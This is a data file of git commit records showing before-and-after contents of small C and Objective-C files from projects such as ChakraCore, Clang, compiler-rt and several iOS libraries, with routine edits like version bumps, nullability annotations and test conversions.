{"commit":"f3cfdda7d9e7e0421189713262283d8bc379695f","old_file":"Classes\/SloppySwiperViewControllerProtocol.h","new_file":"Classes\/SloppySwiperViewControllerProtocol.h","old_contents":"\/\/\n\/\/  SloppySwiperViewControllerProtocol.h\n\/\/  Pods\n\/\/\n\/\/  Created by Yu Sugawara on 7\/8\/15.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol SloppySwiperViewControllerProtocol <NSObject>\n\n- (UIBarStyle)ssw_navigationBarStyle;\n- (UIColor *)ssw_navigationBarColor;\n- (UIColor *)ssw_navigationBarItemColor;\n- (UIImage *)ssw_navigationBarShadowImage;\n\n@end\n","new_contents":"\/\/\n\/\/  SloppySwiperViewControllerProtocol.h\n\/\/  Pods\n\/\/\n\/\/  Created by Yu Sugawara on 7\/8\/15.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol SloppySwiperViewControllerProtocol <NSObject>\n\n- (UIBarStyle)ssw_navigationBarStyle;\n- (UIColor *)ssw_navigationBarColor;\n- (UIColor *)ssw_navigationBarItemColor;\n\n@optional\n- (UIImage *)ssw_navigationBarShadowImage;\n\n@end\n","subject":"Change the ssw_navigationBarShadowImage to the @optional","message":"Change the ssw_navigationBarShadowImage to the @optional\n","lang":"C","license":"mit","repos":"yusuga\/SloppySwiper"}
{"commit":"050be884232cb5f96248ff753b5b4e321f5a8e94","old_file":"lib\/Common\/ChakraCoreVersion.h","new_file":"lib\/Common\/ChakraCoreVersion.h","old_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n#pragma once\n\n#define CHAKRA_CORE_MAJOR_VERSION 1\n#define CHAKRA_CORE_MINOR_VERSION 2\n#define CHAKRA_CORE_VERSION_RELEASE 0\n#define CHAKRA_CORE_VERSION_PRERELEASE 0\n#define CHAKRA_CORE_VERSION_RELEASE_QFE 0\n\n#define CHAKRA_VERSION_RELEASE 0\n\n\/\/ NOTE: need to update the GUID in ByteCodeCacheReleaseFileVersion.h as well\n","new_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n#pragma once\n\n#define CHAKRA_CORE_MAJOR_VERSION 1\n#define CHAKRA_CORE_MINOR_VERSION 3\n#define CHAKRA_CORE_VERSION_RELEASE 0\n#define CHAKRA_CORE_VERSION_PRERELEASE 0\n#define CHAKRA_CORE_VERSION_RELEASE_QFE 0\n\n#define CHAKRA_VERSION_RELEASE 0\n\n\/\/ NOTE: need to update the GUID in ByteCodeCacheReleaseFileVersion.h as well\n","subject":"Update master branch version to 1.3","message":"Update master branch version to 1.3\n","lang":"C","license":"mit","repos":"Microsoft\/ChakraCore,mrkmarron\/ChakraCore,mrkmarron\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore"}
{"commit":"8a6df7d010257ba0d15e621a2c675ac882523320","old_file":"mud\/home\/Geometry\/lwo\/coordinates\/xyz.c","new_file":"mud\/home\/Geometry\/lwo\/coordinates\/xyz.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2021  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n","subject":"Add stub for XYZ coordinates.","message":"Add stub for XYZ coordinates.\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"b662250670d69e6b1a45aae8de67f6eb48d37b61","old_file":"src\/worker\/windows\/subscription.h","new_file":"src\/worker\/windows\/subscription.h","old_contents":"#ifndef SUBSCRIPTION_H\n#define SUBSCRIPTION_H\n\n#include <memory>\n#include <sstream>\n#include <string>\n\n#include \"..\/..\/message.h\"\n#include \"..\/..\/result.h\"\n\nclass WindowsWorkerPlatform;\n\nclass Subscription\n{\npublic:\n  Subscription(ChannelID channel,\n    HANDLE root,\n    const std::wstring &path,\n    bool recursive,\n    WindowsWorkerPlatform *platform);\n\n  ~Subscription();\n\n  Result<bool> schedule(LPOVERLAPPED_COMPLETION_ROUTINE fn);\n\n  Result<> use_network_size();\n\n  BYTE *get_written(DWORD written_size);\n\n  Result<std::string> get_root_path();\n\n  std::wstring make_absolute(const std::wstring &sub_path);\n\n  Result<> stop(const CommandID command);\n\n  CommandID get_command_id() const { return command; }\n\n  ChannelID get_channel() const { return channel; }\n\n  WindowsWorkerPlatform *get_platform() const { return platform; }\n\n  bool is_terminating() const { return terminating; }\n\nprivate:\n  CommandID command;\n  ChannelID channel;\n  WindowsWorkerPlatform *platform;\n\n  std::wstring path;\n  HANDLE root;\n  OVERLAPPED overlapped;\n  bool recursive;\n  bool terminating;\n\n  DWORD buffer_size;\n  std::unique_ptr<BYTE[]> buffer;\n  std::unique_ptr<BYTE[]> written;\n};\n\n#endif\n","new_contents":"#ifndef SUBSCRIPTION_H\n#define SUBSCRIPTION_H\n\n#include <memory>\n#include <sstream>\n#include <string>\n\n#include \"..\/..\/message.h\"\n#include \"..\/..\/result.h\"\n\nclass WindowsWorkerPlatform;\n\nclass Subscription\n{\npublic:\n  Subscription(ChannelID channel,\n    HANDLE root,\n    const std::wstring &path,\n    bool recursive,\n    WindowsWorkerPlatform *platform);\n\n  ~Subscription();\n\n  Result<bool> schedule(LPOVERLAPPED_COMPLETION_ROUTINE fn);\n\n  Result<> use_network_size();\n\n  BYTE *get_written(DWORD written_size);\n\n  Result<std::string> get_root_path();\n\n  std::wstring make_absolute(const std::wstring &sub_path);\n\n  Result<> stop(const CommandID command);\n\n  const CommandID &get_command_id() const { return command; }\n\n  const ChannelID &get_channel() const { return channel; }\n\n  WindowsWorkerPlatform *get_platform() const { return platform; }\n\n  const bool &is_recursive() const { return recursive; }\n\n  const bool &is_terminating() const { return terminating; }\n\nprivate:\n  CommandID command;\n  ChannelID channel;\n  WindowsWorkerPlatform *platform;\n\n  std::wstring path;\n  HANDLE root;\n  OVERLAPPED overlapped;\n  bool recursive;\n  bool terminating;\n\n  DWORD buffer_size;\n  std::unique_ptr<BYTE[]> buffer;\n  std::unique_ptr<BYTE[]> written;\n};\n\n#endif\n","subject":"Return const & from getters","message":"Return const & from getters\n","lang":"C","license":"mit","repos":"atom\/watcher,atom\/watcher,atom\/watcher,atom\/watcher,atom\/watcher"}
{"commit":"622c8f06325d89bdda593499323b4c056c699914","old_file":"7segments.c","new_file":"7segments.c","old_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"w$]m.k{%\\177o\"[*c++-48])&u\/4?33:32,y&u?95:32,y&u\/2?33:32,*c?32:10);u*=8;\nmain(int u,char**a){u=1;L;L;L}","new_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"w$]m.k{%o\"[*c++-48])&u\/4?33:32,y&u?95:32,y&u\/2?33:32,*c?32:10);u*=8;\nmain(int u,char**a){u=1;L;L;L}","subject":"Use version with replaced \\177","message":"Use version with replaced \\177\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"ecefcf452f3941ca117f52da61f8a8cc79a1b573","old_file":"7segments.c","new_file":"7segments.c","old_contents":"main(int u,char**a){for(;u<129;u*=8){for(char*c=a[1],y;*c;)printf(\"%c%c%c \",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32);puts(\"\");}}","new_contents":"main(int u,char**a){for(;u<129;u*=8)for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32,*c?32:10);}","subject":"Use printf without puts again to save one more byte","message":"Use printf without puts again to save one more byte\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"741f580007e33149b117cff4c46588b9b6d36451","old_file":"problem_006.c","new_file":"problem_006.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <math.h>\n\n#include \"euler.h\"\n\n#define PROBLEM 6\n#define ANSWER 25164150\n\nint\nmain(int argc, char **argv)\n{\n    double sum = 0, square = 0;\n    for(double x = 0; x <= 100; x++) {\n        sum += pow(x, 2.0);\n        square += x;\n    }\n    square = pow(square, 2.0);\n    double result = square - sum;\n    return check(PROBLEM, ANSWER, result);\n}\n","subject":"Add solution for problem 6","message":"Add solution for problem 6\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"637bbbc2d7b0d47458ab10763865a119fea163a7","old_file":"test\/profile\/Linux\/instrprof-cs.c","new_file":"test\/profile\/Linux\/instrprof-cs.c","old_contents":"","new_contents":"\/\/ RUN: rm -fr %t.prof\n\/\/ RUN: %clang_pgogen=%t.prof\/ -o %t.gen.cs -O2 %s\n\/\/ RUN: %t.gen.cs\n\/\/ RUN: llvm-profdata merge -o %t.cs.profdata %t.prof\/\n\/\/ Check context sensitive profile\n\/\/ RUN: %clang_profuse=%t.cs.profdata  -O2 -emit-llvm -S %s -o - | FileCheck %s --check-prefix=CS\n\/\/\n\/\/ RUN: %clang_profgen=%t.profraw -o %t.gen.cis -O2 %s\n\/\/ RUN: %t.gen.cis\n\/\/ RUN: llvm-profdata merge -o %t.cis.profdata %t.profraw\n\/\/ Check context insenstive profile\n\/\/ RUN: %clang_profuse=%t.cis.profdata  -O2 -emit-llvm -S %s -o - | FileCheck %s --check-prefix=CIS\nint g1 = 1;\nint g2 = 2;\nstatic void toggle(int t) {\n  if (t & 1)\n    g1 *= t;\n  else\n    g2 *= t;\n}\n\nint main() {\n  int i;\n  \/\/ CS: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[PD1:[0-9]+]]\n  \/\/ CIS: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[PD:[0-9]+]]\n  toggle(g1);\n  \/\/ CS: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[PD2:[0-9]+]]\n  \/\/ CIS: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[PD:[0-9]+]]\n  toggle(g2);\n  return 0;\n}\n\n\/\/ CS: ![[PD1]] = !{!\"branch_weights\", i32 0, i32 1}\n\/\/ CS: ![[PD2]] = !{!\"branch_weights\", i32 1, i32 0}\n\/\/ CIS: ![[PD]] = !{!\"branch_weights\", i32 2, i32 2}\n","subject":"Add a new test case","message":"[Profile] Add a new test case\n\nThe end-end test checks that cs-profile counter update\nis obtained as expected.\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@277276 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"af63433f531926143f4dfce63f25ee3b09e81cc3","old_file":"FreshAir\/RZFReleaseNotes.h","new_file":"FreshAir\/RZFReleaseNotes.h","old_contents":"\/\/\n\/\/  RZFReleaseNotes.h\n\/\/  FreshAir\n\/\/\n\/\/  Created by Brian King on 1\/26\/16.\n\/\/  Copyright © 2016 Raizlabs. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@class RZFRelease, RZFFeature;\n\n@interface RZFReleaseNotes : NSObject\n\n+ (instancetype)releaseNotesWithURL:(NSURL *)URL error:(NSError **)error;\n+ (instancetype)releaseNotesWithData:(NSData *)data error:(NSError **)error;\n\n@property (strong, nonatomic) NSArray<RZFRelease *> *releases;\n@property (strong, nonatomic) NSURL *upgradeURL;\n@property (strong, nonatomic) NSString * __nullable minimumVersion;\n@property (strong, nonatomic, readonly) NSArray<RZFFeature *> *features;\n\n- (BOOL)isUpgradeRequiredForVersion:(NSString *)version;\n\n- (NSArray<RZFRelease *> *)releasesSupportingSystemVersion:(NSString *)systemVersion;\n- (NSArray<RZFFeature *> *)featuresFromVersion:(NSString *)lastVersion toVersion:(NSString *)currentVersion;\n\n@end\n\nNS_ASSUME_NONNULL_END","new_contents":"\/\/\n\/\/  RZFReleaseNotes.h\n\/\/  FreshAir\n\/\/\n\/\/  Created by Brian King on 1\/26\/16.\n\/\/  Copyright © 2016 Raizlabs. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@class RZFRelease, RZFFeature;\n\n@interface RZFReleaseNotes : NSObject\n\n+ (instancetype)releaseNotesWithURL:(NSURL *)URL error:(NSError **)error;\n+ (instancetype)releaseNotesWithData:(NSData *)data error:(NSError **)error;\n\n@property (strong, nonatomic) NSArray<RZFRelease *> *releases;\n@property (strong, nonatomic) NSURL *upgradeURL;\n@property (strong, nonatomic, nullable) NSString *minimumVersion;\n@property (strong, nonatomic, readonly) NSArray<RZFFeature *> *features;\n\n- (BOOL)isUpgradeRequiredForVersion:(NSString *)version;\n\n- (NSArray<RZFRelease *> *)releasesSupportingSystemVersion:(NSString *)systemVersion;\n- (NSArray<RZFFeature *> *)featuresFromVersion:(NSString *)lastVersion toVersion:(NSString *)currentVersion;\n\n@end\n\nNS_ASSUME_NONNULL_END","subject":"Move nullable to the property attributes","message":"Move nullable to the property attributes\n","lang":"C","license":"mit","repos":"Raizlabs\/FreshAir,Raizlabs\/FreshAir"}
{"commit":"b35873a38c56dad6c5ff2d982e5ad0ad3532253b","old_file":"pt_error.c","new_file":"pt_error.c","old_contents":"\n#include <assert.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"pt_error.h\"\n\nstatic struct {\n\tconst enum pt_error err;\n\tconst char* const str;\n} pt_error_map[PT_LAST] = {\n\t{ PT_SUCCESS, \"Success\" },\n};\n\nstatic char* pt_strncpy(char* dst, const char* src, size_t n)\n{\n\tif(n > 0) {\n\t\tint len = strnlen(src, n);\n\n\t\t(void) memcpy(dst, src, len - 1);\n\t\tdst[len] = '\\0';\n\t}\n\n\treturn dst;\n}\n\nint pt_strerror_r(enum pt_error err, char* buf, size_t len)\n{\n\tint ret = 0;\n\n\tif(len > 0) {\n\t\tif(err < PT_LAST && err >= PT_SUCCESS) {\n\t\t\tassert(err == pt_error_map[err].err);\n\t\t\t(void) pt_strncpy(buf, pt_error_map[err].str, len);\n\n\t\t\tif(strlen(pt_error_map[err].str) >= len) {\n\t\t\t\terrno = EOVERFLOW;\n\t\t\t\tret = 1;\n\t\t\t}\n\t\t} else {\n\t\t\terrno = EINVAL;\n\t\t\tret = 1;\n\t\t}\n\t}\n\n\treturn ret;\n}\n\n","new_contents":"\n#include <assert.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"pt_error.h\"\n\nstatic struct {\n\tconst enum pt_error err;\n\tconst char* const str;\n} pt_error_map[PT_LAST] = {\n\t{ PT_SUCCESS, \"Success\" },\n};\n\nstatic char*\npt_strncpy(char* dst, const char* src, size_t n)\n{\n\tif(n > 0) {\n\t\tint len = strnlen(src, n);\n\n\t\t(void) memcpy(dst, src, len - 1);\n\t\tdst[len] = '\\0';\n\t}\n\n\treturn dst;\n}\n\nint\npt_strerror_r(enum pt_error err, char* buf, size_t len)\n{\n\tint ret = 0;\n\n\tif(len > 0) {\n\t\tif(err < PT_LAST && err >= PT_SUCCESS) {\n\t\t\tassert(err == pt_error_map[err].err);\n\t\t\t(void) pt_strncpy(buf, pt_error_map[err].str, len);\n\n\t\t\tif(strlen(pt_error_map[err].str) >= len) {\n\t\t\t\terrno = ERANGE;\n\t\t\t\tret = 1;\n\t\t\t}\n\t\t} else {\n\t\t\terrno = EINVAL;\n\t\t\tret = 1;\n\t\t}\n\t}\n\n\treturn ret;\n}\n\n","subject":"Change to a more standard errno in pt_strerror_r()","message":"Change to a more standard errno in pt_strerror_r()\n\nReformat pt_error.c\n","lang":"C","license":"apache-2.0","repos":"byannoni\/qthreads"}
{"commit":"fcd9aac9e7dff92751c7e17b2845e2748260bc2e","old_file":"include\/dynamicsJRLJapan\/dynamicJRLJapan_API.h","new_file":"include\/dynamicsJRLJapan\/dynamicJRLJapan_API.h","old_contents":"","new_contents":"\/* Computation of the dynamic aspect for a humanoid robot.\n  \nCopyright (c) 2008\n@author Olivier Stasse.\n   \nJRL-Japan, CNRS\/AIST\n\nAll rights reserved.\n   \nRedistribution and use in source and binary forms, with or without modification, \nare permitted provided that the following conditions are met:\n   \n* Redistributions of source code must retain the above copyright notice, \nthis list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright notice, \nthis list of conditions and the following disclaimer in the documentation and\/or other materials provided with the distribution.\n* Neither the name of the CNRS and AIST nor the names of its contributors \nmay be used to endorse or promote products derived from this software without specific prior written permission.\n   \nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS \nOR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY \nAND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER \nOR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, \nOR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS \nOR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) \nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \nSTRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING \nIN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#ifndef _DYN_JRL_JAPAN_CONFIG_H_IN_\n#define _DYN_JRL_JAPAN_CONFIG_H_IN_\n\n#if defined (WIN32)\n#  ifdef dynamicsJRLJapan_EXPORTS \n#    define DYN_JRL_JAPAN_EXPORT __declspec(dllexport)\n#  else  \n#    define DYN_JRL_JAPAN_EXPORT __declspec(dllimport)\n#  endif \n#else\n#  define DYN_JRL_JAPAN_EXPORT\n#endif\n\n#endif\n","subject":"Add an API for Windows","message":"Add an API for Windows\n","lang":"C","license":"isc","repos":"jrl-umi3218\/jrl-dynamics,jrl-umi3218\/jrl-dynamics"}
{"commit":"a2620cb6d12c43535149bf2976c3d6c54f1c7e38","old_file":"file4.c","new_file":"file4.c","old_contents":"file4.c - r1\nTest checkin in master1-updated\nTest checkin in master2\n\n","new_contents":"file4.c - r1\nTest checkin in master1-updated - updated2\nTest checkin in master2\nTest checkin in master3\n\n","subject":"Test commit in feature branch","message":"Test commit in feature branch\n","lang":"C","license":"apache-2.0","repos":"shahedmolla\/test"}
{"commit":"35947b1d45a735b3fc4ed110302ea31e7850e625","old_file":"Pod\/Classes\/BFTaskCenter.h","new_file":"Pod\/Classes\/BFTaskCenter.h","old_contents":"\/\/\n\/\/  BFTaskCenter.h\n\/\/  Pods\n\/\/\n\/\/  Created by Superbil on 2015\/8\/22.\n\/\/\n\/\/\n\n#import \"Bolts.h\"\n\n@interface BFTaskCenter : NSObject\n\n\/*!\n A block that can act as a continuation for a task.\n *\/\ntypedef void (^BFTaskCenterBlock)(BFTask * _Nonnull task);\n\n+ (nonnull instancetype)defaultCenter;\n\n- (instancetype)initWithExecutor:(BFExecutor *)executor;\n\n- (nullable id)addTaskBlockToCallbacks:(nonnull BFTaskCenterBlock)taskBlock forKey:(nonnull NSString *)key;\n- (void)removeTaskBlock:(nonnull id)taskBlock forKey:(nonnull NSString *)key;\n- (void)clearAllCallbacksForKey:(nonnull NSString *)key;\n\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key result:(nullable id)result;\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key error:(nonnull NSError *)error;\n\n- (nullable BFTaskCompletionSource *)sourceOfSendToCallbacksForKey:(nonnull NSString *)key\n                                                          executor:(nonnull BFExecutor *)executor\n                                                 cancellationToken:(nullable BFCancellationToken *)cancellationToken;\n\n@end\n","new_contents":"\/\/\n\/\/  BFTaskCenter.h\n\/\/  Pods\n\/\/\n\/\/  Created by Superbil on 2015\/8\/22.\n\/\/\n\/\/\n\n#import \"Bolts.h\"\n\n@interface BFTaskCenter : NSObject\n\n\/*!\n A block that can act as a continuation for a task.\n *\/\ntypedef void (^BFTaskCenterBlock)(BFTask * _Nonnull task);\n\n+ (nullable instancetype)defaultCenter;\n\n- (nullable instancetype)initWithExecutor:(nonnull BFExecutor *)executor;\n\n- (nullable id)addTaskBlockToCallbacks:(nonnull BFTaskCenterBlock)taskBlock forKey:(nonnull NSString *)key;\n- (void)removeTaskBlock:(nonnull id)taskBlock forKey:(nonnull NSString *)key;\n- (void)clearAllCallbacksForKey:(nonnull NSString *)key;\n\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key result:(nullable id)result;\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key error:(nonnull NSError *)error;\n\n- (nullable BFTaskCompletionSource *)sourceOfSendToCallbacksForKey:(nonnull NSString *)key\n                                                          executor:(nonnull BFExecutor *)executor\n                                                 cancellationToken:(nullable BFCancellationToken *)cancellationToken;\n\n@end\n","subject":"Fix compiler warning for nullable check","message":"Fix compiler warning for nullable check\n","lang":"C","license":"mit","repos":"Superbil\/BFTaskCenter,Superbil\/BFTaskCenter"}
{"commit":"59db2153ef50567586bee132643226fb32996fa1","old_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/attributes\/visibility\/hidden-alias.c","new_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/attributes\/visibility\/hidden-alias.c","old_contents":"","new_contents":"#include <stdlib.h> \n\nvolatile int func() {\n\treturn 4;\n}\nvolatile int func2() __attribute__ ((visibility (\"hidden\"), alias (\"func\")));\n\nint main() {\n\tif (func2() != 4) {\n\t\tabort();\n\t}\n}\n","subject":"Add test case for hidden alias","message":"Add test case for hidden alias\n","lang":"C","license":"bsd-3-clause","repos":"grimmerm\/sulong,crbb\/sulong,grimmerm\/sulong,crbb\/sulong,grimmerm\/sulong,lxp\/sulong,lxp\/sulong,PrinzKatharina\/sulong,lxp\/sulong,lxp\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong,grimmerm\/sulong,crbb\/sulong,crbb\/sulong"}
{"commit":"3df46ce3e3b10cd37565184b8c78de882194da56","old_file":"cpp\/turbodbc\/Library\/turbodbc\/type_code.h","new_file":"cpp\/turbodbc\/Library\/turbodbc\/type_code.h","old_contents":"#pragma once\n\nnamespace turbodbc {\n\n\/**\n * This enumeration assigns integer values to certain database types\n *\/\nenum class type_code : int {\n\tboolean = 0,\t\t\t\/\/\/< boolean type\n\tinteger = 10,\t\t\t\/\/\/< integer types\n\tfloating_point = 20,\t\/\/\/< floating point types\n\tstring = 30,\t\t\t\/\/\/< string types\n\ttimestamp = 40,\t\t\t\/\/\/< timestamp types\n\tdate = 41\t\t\t\t\/\/\/< date type\n};\n\n}\n","new_contents":"#pragma once\n\nnamespace turbodbc {\n\n\/**\n * This enumeration assigns integer values to certain database types\n *\/\nenum class type_code : int {\n\tboolean = 0,            \/\/\/< boolean type\n\tinteger = 10,           \/\/\/< integer types\n\tfloating_point = 20,    \/\/\/< floating point types\n\tstring = 30,            \/\/\/< string types\n\tunicode = 31,           \/\/\/< unicode types\n\ttimestamp = 40,         \/\/\/< timestamp types\n\tdate = 41               \/\/\/< date type\n};\n\n}\n","subject":"Add unicode to supported type codes","message":"Add unicode to supported type codes\n","lang":"C","license":"mit","repos":"blue-yonder\/turbodbc,blue-yonder\/turbodbc,blue-yonder\/turbodbc,blue-yonder\/turbodbc"}
{"commit":"d82bf2d86f3e4185b3815e56f23ca0e07c15541d","old_file":"test\/CodeGen\/stdcall-fastcall.c","new_file":"test\/CodeGen\/stdcall-fastcall.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm < %s | grep 'fastcallcc' | count 6\n\/\/ RUN: %clang_cc1 -emit-llvm < %s | grep 'stdcallcc' | count 6\n\nvoid __attribute__((fastcall)) f1(void);\nvoid __attribute__((stdcall)) f2(void);\nvoid __attribute__((fastcall)) f3(void) {\n  f1();\n}\nvoid __attribute__((stdcall)) f4(void) {\n  f2();\n}\n\n\/\/ PR5280\nvoid (__attribute__((fastcall)) *pf1)(void) = f1;\nvoid (__attribute__((stdcall)) *pf2)(void) = f2;\nvoid (__attribute__((fastcall)) *pf3)(void) = f3;\nvoid (__attribute__((stdcall)) *pf4)(void) = f4;\n\nint main(void) {\n    f3(); f4();\n    pf1(); pf2(); pf3(); pf4();\n    return 0;\n}\n\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm < %s | FileCheck %s\n\nvoid __attribute__((fastcall)) f1(void);\nvoid __attribute__((stdcall)) f2(void);\nvoid __attribute__((fastcall)) f3(void) {\n\/\/ CHECK: define x86_fastcallcc void @f3()\n  f1();\n\/\/ CHECK: call x86_fastcallcc void @f1()\n}\nvoid __attribute__((stdcall)) f4(void) {\n\/\/ CHECK: define x86_stdcallcc void @f4()\n  f2();\n\/\/ CHECK: call x86_stdcallcc void @f2()\n}\n\n\/\/ PR5280\nvoid (__attribute__((fastcall)) *pf1)(void) = f1;\nvoid (__attribute__((stdcall)) *pf2)(void) = f2;\nvoid (__attribute__((fastcall)) *pf3)(void) = f3;\nvoid (__attribute__((stdcall)) *pf4)(void) = f4;\n\nint main(void) {\n    f3(); f4();\n    \/\/ CHECK: call x86_fastcallcc void @f3()\n    \/\/ CHECK: call x86_stdcallcc void @f4()\n    pf1(); pf2(); pf3(); pf4();\n    \/\/ CHECK: call x86_fastcallcc void %tmp()\n    \/\/ CHECK: call x86_stdcallcc void %tmp1()\n    \/\/ CHECK: call x86_fastcallcc void %tmp2()\n    \/\/ CHECK: call x86_stdcallcc void %tmp3()\n    return 0;\n}\n\n","subject":"Convert this test to FileCheck instead of grepping LLVM IR.","message":"Convert this test to FileCheck instead of grepping LLVM IR.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@95428 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"738a7cc75fe112630f29ed08ce68546ac1939728","old_file":"server\/packet\/packet_entity_equipment.c","new_file":"server\/packet\/packet_entity_equipment.c","old_contents":"#include \"server\/client.h\"\n#include \"server\/packet.h\"\n#include \"blocks\/items.h\"\n\nvoid packet_send_entity_equipment(struct client *client, struct client *c, uint16_t slot, struct item *item, uint16_t damage)\n{\n\tbedrock_packet packet;\n\tstruct item_stack stack;\n\n\tstack.id = item->id;\n\tstack.count = 1;\n\tstack.metadata = damage;\n\n\tpacket_init(&packet, SERVER_ENTITY_EQUIPMENT);\n\n\tpacket_pack_int(&packet, &c->id, sizeof(c->id));\n\tpacket_pack_int(&packet, &slot, sizeof(slot));\n\tpacket_pack_slot(&packet, &stack);\n\n\tclient_send_packet(client, &packet);\n}\n","new_contents":"#include \"server\/client.h\"\n#include \"server\/packet.h\"\n#include \"blocks\/items.h\"\n\nvoid packet_send_entity_equipment(struct client *client, struct client *c, uint16_t slot, struct item *item, uint16_t damage)\n{\n\tbedrock_packet packet;\n\tstruct item_stack stack;\n\n\tstack.id = item->id ? item->id : -1;\n\tstack.count = 1;\n\tstack.metadata = damage;\n\n\tpacket_init(&packet, SERVER_ENTITY_EQUIPMENT);\n\n\tpacket_pack_int(&packet, &c->id, sizeof(c->id));\n\tpacket_pack_int(&packet, &slot, sizeof(slot));\n\tpacket_pack_slot(&packet, &stack);\n\n\tclient_send_packet(client, &packet);\n}\n","subject":"Fix client crash from changing item to nothing","message":"Fix client crash from changing item to nothing\n","lang":"C","license":"bsd-2-clause","repos":"Adam-\/bedrock,Adam-\/bedrock"}
